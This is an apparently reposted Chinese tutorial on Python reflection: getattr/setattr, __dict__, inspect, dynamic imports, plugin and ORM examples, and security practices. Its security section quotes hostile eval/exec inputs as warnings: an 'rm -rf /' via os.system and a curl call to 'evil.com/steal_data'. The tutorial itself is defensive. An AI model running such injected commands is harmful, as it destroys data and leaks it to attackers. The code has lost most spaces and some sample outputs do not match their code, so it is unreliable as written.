您当前的位置:首页 > 文章 > Python反射用法实战完整学习笔记

Python反射用法实战完整学习笔记

作者:其美杰布-富贵-李 时间:2026-01-28 阅读数:49 人阅读分享到:
目录

1. 什么是反射(Reflection)

1.1 定义与核心概念

反射(Reflection) 是指程序在运行时能够:

  • 检查(inspect)对象的类型、属性、方法
  • 访问(access)对象的属性和方法
  • 修改(modify)对象的属性和方法
  • 调用(invoke)对象的方法

简单来说:反射 = 运行时的动态操作能力

1.2 Python 中反射的特点

Python 是一门动态类型语言,天然支持反射:

特性 说明
动态类型 变量类型在运行时确定
一切皆对象 类、函数、模块都是对象
内置反射函数 getattr,setattr,hasattr等
丰富的元数据 __dict__,__class__,__module__等

1.3 反射 vs 内省

概念 定义 示例
内省(Introspection) 只读取对象信息,不修改 type(),dir(),isinstance()
反射(Reflection) 读取 + 修改 + 调用 getattr(),setattr(),delattr()

结论:内省是反射的子集,Python 两者都支持。

2. 为什么需要反射

2.1 动态性的价值

反射使代码更加灵活可扩展

# 静态方式:硬编码
ifaction=="create":
    obj.create()
elifaction=="update":
    obj.update()
elifaction=="delete":
    obj.delete()
 
# 反射方式:动态调用
method=getattr(obj, action) # 根据字符串获取方法
method() # 调用方法

优势

  • 减少 if-else 分支
  • 易于扩展新功能(无需修改代码)
  • 适合插件化架构

2.2 典型应用场景

场景 说明 示例
框架开发 自动路由、ORM 映射 Django, Flask, SQLAlchemy
插件系统 动态加载第三方模块 Pytest 插件机制
序列化 对象 ? JSON/XML/DB json.dumps(), Pickle
配置驱动 根据配置文件动态创建对象 工厂模式
测试框架 自动发现测试用例 unittest,pytest
调试工具 运行时查看对象状态 pdb,ipdb

3. 核心函数与用法

3.1getattr()- 获取属性/方法

语法

getattr(object, name[, default])

功能

  • 根据字符串名称获取对象的属性或方法
  • 若属性不存在,返回default(若未提供则抛出AttributeError)

示例

classPerson:
    def__init__(self, name, age):
        self.name=name
        self.age=age
     
    defgreet(self):
        returnf"Hello, I'm {self.name}"
 
p=Person("Alice",30)
 
# 获取属性
name=getattr(p,"name") # "Alice"
salary=getattr(p,"salary",0) # 不存在,返回默认值 0
 
# 获取方法
greet_func=getattr(p,"greet")
print(greet_func()) # "Hello, I'm Alice"
 
# 动态调用
attr_name=input("输入属性名: ") # 用户输入 "age"
value=getattr(p, attr_name,None)
print(value) # 30

等价写法

# getattr(obj, "name") 等价于
obj.name # 静态访问
obj.__dict__["name"] # 字典访问

3.2setattr()- 设置属性

语法

setattr(object, name, value)

功能

  • 动态设置对象的属性值
  • 若属性不存在,则创建新属性

示例

classConfig:
    pass
 
config=Config()
 
# 动态设置属性
setattr(config,"host","localhost")
setattr(config,"port",8080)
 
print(config.host) # "localhost"
print(config.port) # 8080
 
# 批量设置
settings={"debug":True,"timeout":30}
forkey, valueinsettings.items():
    setattr(config, key, value)
 
print(config.debug) # True

等价写法

# setattr(obj, "name", value) 等价于
obj.name=value
obj.__dict__["name"]=value

3.3hasattr()- 检查属性是否存在

语法

hasattr(object, name)

功能

  • 判断对象是否有某个属性/方法
  • 返回True或False

示例

classDog:
    def__init__(self, name):
        self.name=name
     
    defbark(self):
        return"Woof!"
 
dog=Dog("Buddy")
 
print(hasattr(dog,"name")) # True
print(hasattr(dog,"age"))  # False
print(hasattr(dog,"bark")) # True
 
# 安全的属性访问
ifhasattr(dog,"age"):
    print(dog.age)
else:
    print("Dog has no age attribute")

内部实现

# hasattr 等价于
try:
    getattr(obj, name)
    returnTrue
exceptAttributeError:
    returnFalse

3.4delattr()- 删除属性

语法

delattr(object, name)

功能

  • 删除对象的属性
  • 若属性不存在,抛出AttributeError

示例

classUser:
    def__init__(self, username, password):
        self.username=username
        self.password=password
 
user=User("admin","secret123")
 
# 删除敏感属性
delattr(user,"password")
 
print(hasattr(user,"password")) # False
 
# 等价写法
deluser.username

3.5dir()- 列出所有属性和方法

语法

dir([object])

功能

  • 返回对象的所有属性和方法的名称列表
  • 包括继承的属性和魔法方法

示例

classMyClass:
    class_var="I'm a class variable"
     
    def__init__(self):
        self.instance_var="I'm an instance variable"
     
    defmy_method(self):
        pass
 
obj=MyClass()
 
# 查看所有属性和方法
print(dir(obj))
# ['__class__', '__delattr__', '__dict__', ..., 'class_var', 'instance_var', 'my_method']
 
# 过滤出用户定义的属性
user_attrs=[attrforattrindir(obj)ifnotattr.startswith("__")]
print(user_attrs) # ['class_var', 'instance_var', 'my_method']

3.6vars()- 返回对象的__dict__

语法

vars([object])

功能

  • 返回对象的__dict__属性(属性字典)
  • 不包括方法和类属性(仅实例属性)

示例

classBook:
    category="fiction" # 类属性
     
    def__init__(self, title, author):
        self.title=title
        self.author=author
 
book=Book("1984","Orwell")
 
print(vars(book)) # {'title': '1984', 'author': 'Orwell'}
print(book.__dict__) # 等价
 
# 修改属性
vars(book)["price"]=19.99
print(book.price) # 19.99

注意

  • vars()只返回实例属性
  • 类属性需要通过vars(MyClass)或MyClass.__dict__获取

3.7 其他常用函数

函数 功能 示例
type(obj) 获取对象的类型 type(123)→<class 'int'>
isinstance(obj, class) 判断对象是否是某类的实例 isinstance([], list)→True
callable(obj) 判断对象是否可调用 callable(print)→True
id(obj) 获取对象的内存地址 id("hello")

综合示例

defprocess_object(obj):
    print(f"类型: {type(obj)}")
    print(f"ID: {id(obj)}")
    print(f"是否可调用: {callable(obj)}")
    print(f"属性列表: {[a for a in dir(obj) if not a.startswith('_')]}")
 
process_object(lambdax: x*2)
# 类型: <class 'function'>
# 是否可调用: True
# 属性列表: ['__annotations__', '__call__', ...]

4. 对象属性访问机制

4.1__dict__属性字典

核心概念

  • Python 对象的属性存储在__dict__字典中
  • 键是属性名(字符串),值是属性值

示例

classPoint:
    def__init__(self, x, y):
        self.x=x
        self.y=y
 
p=Point(10,20)
 
print(p.__dict__) # {'x': 10, 'y': 20}
 
# 直接修改 __dict__
p.__dict__["z"]=30
print(p.z) # 30
 
# 动态添加属性
p.color="red"
print(p.__dict__) # {'x': 10, 'y': 20, 'z': 30, 'color': 'red'}

类属性 vs 实例属性

classCounter:
    count=0 # 类属性
     
    def__init__(self, name):
        self.name=name # 实例属性
 
c1=Counter("A")
c2=Counter("B")
 
print(c1.__dict__) # {'name': 'A'}
print(Counter.__dict__["count"]) # 0
 
# 修改类属性
Counter.count=10
print(c1.count) # 10(通过继承访问)
print(c2.count) # 10

4.2__slots__限制属性

问题:__dict__占用内存,对于大量实例不友好

解决方案:使用__slots__预定义属性

示例

classPoint2D:
    __slots__=["x","y"] # 只允许这两个属性
     
    def__init__(self, x, y):
        self.x=x
        self.y=y
 
p=Point2D(5,10)
 
# 无法动态添加新属性
try:
    p.z=15
exceptAttributeError as e:
    print(e) # 'Point2D' object has no attribute 'z'
 
# 没有 __dict__
print(hasattr(p,"__dict__")) # False

对比

特性 __dict__ __slots__
内存占用 较大(每个实例一个字典) 较小(固定大小)
动态属性 支持 不支持
访问速度 稍慢 稍快
适用场景 灵活的对象 大量相同结构的实例

4.3 属性查找顺序(MRO)

查找流程

  1. 实例的__dict__
  2. 类的__dict__
  3. 父类的__dict__(按 MRO 顺序)
  4. 抛出AttributeError

示例

classAnimal:
    species="Unknown"
 
classDog(Animal):
    species="Canine"
 
dog=Dog()
dog.species="My Dog"
 
print(dog.species) # "My Dog"(实例属性优先)
deldog.species
print(dog.species) # "Canine"(类属性)
Dog.species="Deleted"
print(dog.species) # "Deleted"

查看 MRO

print(Dog.__mro__)
# (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>)

5. 高级反射技术

5.1inspect模块深入

inspect模块提供了更强大的反射功能:

5.1.1 检查函数签名

importinspect
 
defgreet(name:str, age:int=18,*, city:str="Beijing")->str:
    returnf"{name}, {age}, from {city}"
 
# 获取签名
sig=inspect.signature(greet)
print(sig) # (name: str, age: int = 18, *, city: str = 'Beijing') -> str
 
# 获取参数信息
forparam_name, paraminsig.parameters.items():
    print(f"{param_name}: {param.annotation}, 默认值={param.default}")
# name: <class 'str'>, 默认值=<class 'inspect._empty'>
# age: <class 'int'>, 默认值=18
# city: <class 'str'>, 默认值=Beijing

5.1.2 检查类和对象

importinspect
 
classMyClass:
    defmethod(self):
        pass
 
# 判断是否是类
print(inspect.isclass(MyClass)) # True
 
# 判断是否是函数
print(inspect.isfunction(MyClass.method)) # True
 
# 判断是否是方法
obj=MyClass()
print(inspect.ismethod(obj.method)) # True
 
# 获取类的所有成员
members=inspect.getmembers(MyClass)
forname, valueinmembers:
    ifnotname.startswith("_"):
        print(f"{name}: {value}")

5.1.3 获取源代码

importinspect
 
deffibonacci(n):
    """计算斐波那契数列"""
    ifn <=1:
        returnn
    returnfibonacci(n-1)+fibonacci(n-2)
 
# 获取函数源代码
source=inspect.getsource(fibonacci)
print(source)
 
# 获取文档字符串
doc=inspect.getdoc(fibonacci)
print(doc) # "计算斐波那契数列"

5.2 动态导入模块

方式一:使用 __import__()

# 传统方式
importmath
 
# 动态导入
module_name="math"
math_module=__import__(module_name)
print(math_module.pi) # 3.141592653589793

方式二:使用 importlib(推荐)

importimportlib
 
# 动态导入模块
module_name="json"
json_module=importlib.import_module(module_name)
 
data=json_module.dumps({"key":"value"})
print(data) # '{"key": "value"}'
 
# 重新加载模块(开发中调试用)
importlib.reload(json_module)

实战:插件系统

importimportlib
importos
 
defload_plugins(plugin_dir):
    """动态加载插件目录下的所有插件"""
    plugins=[]
    forfilenameinos.listdir(plugin_dir):
        iffilename.endswith(".py")andnotfilename.startswith("_"):
            module_name=filename[:-3] # 去掉 .py
            module=importlib.import_module(f"plugins.{module_name}")
            plugins.append(module)
    returnplugins
 
# 使用
# plugins = load_plugins("./plugins")
# for plugin in plugins:
#     plugin.run()

5.3 动态创建类和函数

5.3.1 使用type()创建类

基础语法

# 正常定义类
classMyClass:
    x=10
 
# 使用 type() 动态创建
MyClass2=type("MyClass2", (object,), {"x":10})
 
print(MyClass2.x) # 10

完整示例

# 定义方法
defgreet(self):
    returnf"Hello from {self.name}"
 
def__init__(self, name):
    self.name=name
 
# 动态创建类
Person=type(
    "Person",                   # 类名
    (object,),                  # 父类元组
    {                           # 类属性和方法
        "__init__": __init__,
        "greet": greet,
        "species":"Human"
    }
)
 
# 使用动态创建的类
p=Person("Alice")
print(p.greet()) # "Hello from Alice"
print(p.species) # "Human"

5.3.2 使用types.FunctionType创建函数

importtypes
 
# 创建函数
code=compile("return x + y","<string>","eval")
add_func=types.FunctionType(code,globals(),"add", (0,0))
 
print(add_func(5,3)) # 8

5.3.3 使用exec()动态执行代码

?
# 动态定义类
class_code="""
class Calculator:
    def add(self, a, b):
        return a + b
     
    def multiply(self, a, b):
        return a * b
"""
 
namespace={}
exec(class_code, namespace)
 
Calculator=namespace["Calculator"]
calc=Calculator()
print(calc.add(10,5)) # 15

?? 安全警告

  • exec()和eval()执行任意代码,存在安全风险
  • 永远不要对用户输入使用exec()或eval()

6. 实战应用案例

6.1 插件系统

需求:根据配置文件动态加载不同的数据处理器

# plugins/csv_processor.py
classCsvProcessor:
    defprocess(self, data):
        returnf"Processing CSV: {data}"
 
# plugins/json_processor.py
classJsonProcessor:
    defprocess(self, data):
        returnf"Processing JSON: {data}"
 
# main.py
importimportlib
 
defload_processor(processor_name):
    """动态加载处理器"""
    module=importlib.import_module(f"plugins.{processor_name.lower()}_processor")
    class_name=f"{processor_name.capitalize()}Processor"
    returngetattr(module, class_name)
 
# 使用
config={"processor":"json"} # 从配置文件读取
ProcessorClass=load_processor(config["processor"])
processor=ProcessorClass()
print(processor.process("sample data"))
# "Processing JSON: sample data"

6.2 ORM 框架原理(简化版)

需求:将对象属性映射到数据库字段

classModel:
    """简易 ORM 基类"""
     
    defsave(self):
        """将对象保存到数据库(伪代码)"""
        table_name=self.__class__.__name__.lower()
        fields=[]
        values=[]
         
        # 反射获取所有属性
        forattr, valueinvars(self).items():
            ifnotattr.startswith("_"):
                fields.append(attr)
                values.append(repr(value))
         
        sql=f"INSERT INTO {table_name} ({', '.join(fields)}) VALUES ({', '.join(values)})"
        print(f"执行 SQL: {sql}")
        returnsql
 
classUser(Model):
    def__init__(self, username, email):
        self.username=username
        self.email=email
 
# 使用
user=User("alice","alice@example.com")
user.save()
# 执行 SQL: INSERT INTO user (username, email) VALUES ('alice', 'alice@example.com')

6.3 序列化/反序列化

需求:将对象转换为 JSON

importjson
 
classStudent:
    def__init__(self, name, age, grade):
        self.name=name
        self.age=age
        self.grade=grade
     
    defto_dict(self):
        """使用反射将对象转为字典"""
        return{k: vfork, vinvars(self).items()ifnotk.startswith("_")}
     
    @classmethod
    deffrom_dict(cls, data):
        """从字典创建对象"""
        returncls(**data)
 
# 序列化
student=Student("Bob",15,"A")
json_str=json.dumps(student.to_dict())
print(json_str) # '{"name": "Bob", "age": 15, "grade": "A"}'
 
# 反序列化
data=json.loads(json_str)
new_student=Student.from_dict(data)
print(new_student.name) # "Bob"

6.4 动态路由(Web 框架)

需求:根据 URL 自动调用对应的处理函数

classRouter:
    def__init__(self):
        self.routes={}
     
    defroute(self, path):
        """装饰器:注册路由"""
        defdecorator(func):
            self.routes[path]=func
            returnfunc
        returndecorator
     
    defdispatch(self, path,*args,**kwargs):
        """根据路径调用对应函数"""
        ifpathinself.routes:
            handler=self.routes[path]
            returnhandler(*args,**kwargs)
        else:
            return"404 Not Found"
 
# 使用
router=Router()
 
@router.route("/home")
defhome():
    return"Welcome to Home Page"
 
@router.route("/about")
defabout():
    return"About Us"
 
# 动态调用
print(router.dispatch("/home"))  # "Welcome to Home Page"
print(router.dispatch("/about")) # "About Us"
print(router.dispatch("/404"))   # "404 Not Found"

7. 性能与安全

7.1 反射的性能开销

实验对比

importtimeit
 
classMyClass:
    def__init__(self):
        self.value=42
     
    defget_value(self):
        returnself.value
 
obj=MyClass()
 
# 直接访问
defdirect_access():
    returnobj.value
 
# 反射访问
defreflection_access():
    returngetattr(obj,"value")
 
# 性能测试
direct_time=timeit.timeit(direct_access, number=1000000)
reflection_time=timeit.timeit(reflection_access, number=1000000)
 
print(f"直接访问: {direct_time:.4f}s")
print(f"反射访问: {reflection_time:.4f}s")
print(f"反射慢了: {reflection_time / direct_time:.2f}x")
 
# 典型结果:反射慢 2-3 倍

结论

  • 反射比直接访问慢 2-5 倍
  • 对于高频调用,考虑缓存或优化
  • 对于配置加载、插件系统等低频场景,性能影响可忽略

7.2 安全隐患

危险函数:eval()和exec()

问题:可执行任意 Python 代码

# 危险示例(永远不要这样做)
user_input="__import__('os').system('rm -rf /')" # 恶意代码
eval(user_input) # ?? 系统被删除
 
# 攻击示例
user_input="__import__('subprocess').call(['curl', 'evil.com/steal_data'])"
exec(user_input) # ?? 数据泄露

安全替代方案

importast
 
# 方案 1: 使用 ast.literal_eval(仅支持字面量)
safe_data=ast.literal_eval("{'key': 'value', 'number': 123}")
print(safe_data) # {'key': 'value', 'number': 123}
 
# 方案 2: 限制命名空间
safe_namespace={"__builtins__": {}}
eval("1 + 1", safe_namespace) # 安全
# eval("open('/etc/passwd')", safe_namespace)  # 报错
 
# 方案 3: 使用白名单
allowed_attrs={"add","subtract","multiply"}
attr="add"
ifattrinallowed_attrs:
    method=getattr(calculator, attr)

7.3 最佳实践

原则 说明 示例
最小权限 只暴露必要的属性和方法 使用__slots__或属性验证
白名单 明确允许的操作,而非黑名单 if attr in ALLOWED: ...
输入验证 永远不要信任用户输入 检查类型、长度、格式
避免 eval/exec 使用ast.literal_eval或解析库 JSON:json.loads()
日志审计 记录反射操作 logging.info(f"Accessed {attr}")

安全的动态调用模式

classSafeAPI:
    ALLOWED_METHODS={"get_data","save_data"}
     
    defget_data(self):
        return"data"
     
    defsave_data(self, data):
        print(f"Saving: {data}")
     
    def_internal_method(self):
        """内部方法,不应被外部调用"""
        pass
     
    defexecute(self, method_name,*args,**kwargs):
        """安全的动态调用"""
        # 1. 检查白名单
        ifmethod_namenotinself.ALLOWED_METHODS:
            raiseValueError(f"Method {method_name} not allowed")
         
        # 2. 检查方法是否存在
        ifnothasattr(self, method_name):
            raiseAttributeError(f"Method {method_name} not found")
         
        # 3. 获取并调用
        method=getattr(self, method_name)
        returnmethod(*args,**kwargs)
 
# 使用
api=SafeAPI()
api.execute("get_data") # ? 安全
# api.execute("_internal_method")  # ? 抛出异常

8. 常见误区与对比

8.1 反射 vs 硬编码

场景 推荐方式 原因
固定的少量选项 硬编码(if-else) 性能更好,代码更清晰
大量可扩展的选项 反射 易于维护,可扩展
用户输入驱动 反射(带验证) 灵活,但需安全措施
性能关键路径 硬编码 避免反射开销

错误示例

# ? 过度使用反射
defprocess(action):
    returngetattr(self, action)() # 危险!
 
# ? 合理的反射
ACTIONS={"create","update","delete"}
defprocess(action):
    ifactionnotinACTIONS:
        raiseValueError("Invalid action")
    returngetattr(self, action)()

8.2 何时不应使用反射

情况 原因 替代方案
性能敏感 反射慢 2-5 倍 直接访问或缓存
固定逻辑 增加复杂度 硬编码
类型安全 运行时错误 静态类型检查(Type Hints)
安全关键 易被攻击 白名单 + 验证

8.3 反射与其他语言对比

语言 反射支持 特点
Python ? 原生支持 动态类型,简单易用
Java ?java.lang.reflect 强类型,API 复杂
C++ ? 无原生支持 可通过 RTTI 部分实现
Go ?reflect包 性能较好,语法复杂
JavaScript ? 原生支持 动态类型,与 Python 类似

9. 扩展阅读

9.1 相关主题

  • 装饰器(Decorator):使用反射实现的语法糖
  • 元类(Metaclass):类的类,更深层的反射
  • 描述符(Descriptor):@property的底层机制
  • 上下文管理器(Context Manager):with语句的反射应用

9.2 进阶学习资源

  • 官方文档:Python Data Model
  • 书籍:《Fluent Python》第五章 - 数据模型
  • PEP:
    • PEP 252: Making Types Look More Like Classes
    • PEP 3115: Metaclasses in Python 3

9.3 实战项目

  • Django ORM:研究其反射机制
  • Flask 路由:分析装饰器和反射的结合
  • Pytest:学习其插件发现机制

总结

核心要点

  1. 反射是什么:运行时检查、访问、修改对象的能力
  2. 核心函数:getattr,setattr,hasattr,delattr,dir,vars
  3. 高级工具:inspect模块、动态导入、type()创建类
  4. 应用场景:插件系统、ORM、序列化、动态路由
  5. 注意事项:性能开销、安全风险、避免滥用

学习检查清单

  • 理解反射与内省的区别
  • 熟练使用getattr/setattr/hasattr/delattr
  • 了解__dict__和__slots__的差异
  • 掌握inspect模块的常用功能
  • 能够实现简单的插件系统
  • 理解反射的性能和安全问题
  • 知道何时使用/不使用反射

实践建议

  1. 小项目练习:实现一个配置驱动的任务调度器
  2. 阅读源码:研究 Django、Flask 的反射使用
  3. 性能测试:对比反射与直接访问的性能差异
  4. 安全审计:检查项目中是否存在eval/exec的滥用

附录:快速参考表

常用反射函数速查

# 获取属性
getattr(obj,"attr", default)
 
# 设置属性
setattr(obj,"attr", value)
 
# 检查属性
hasattr(obj,"attr")
 
# 删除属性
delattr(obj,"attr")
 
# 列出所有属性
dir(obj)
 
# 获取属性字典
vars(obj) # 等价于 obj.__dict__
 
# 动态导入
importimportlib
module=importlib.import_module("module_name")
 
# 动态创建类
MyClass=type("MyClass", (BaseClass,), {"attr": value})
 
# 获取函数签名
importinspect
inspect.signature(func)

安全检查模板

defsafe_call(obj, method_name,*args,**kwargs):
    """安全的动态方法调用"""
    # 1. 白名单检查
    ifmethod_namenotinALLOWED_METHODS:
        raiseValueError(f"Method {method_name} not allowed")
     
    # 2. 存在性检查
    ifnothasattr(obj, method_name):
        raiseAttributeError(f"Method {method_name} not found")
     
    # 3. 可调用性检查
    method=getattr(obj, method_name)
    ifnotcallable(method):
        raiseTypeError(f"{method_name} is not callable")
     
    # 4. 执行
    returnmethod(*args,**kwargs)

总结 

到此这篇关于Python反射用法实战的文章就介绍到这了,更多相关Python反射用法内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

来源:https://www.jb51.net/python/357728xx8.htm

本站大部分文章、数据、图片均来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了您的权益请来信告知我们删除。邮箱:1451803763@qq.com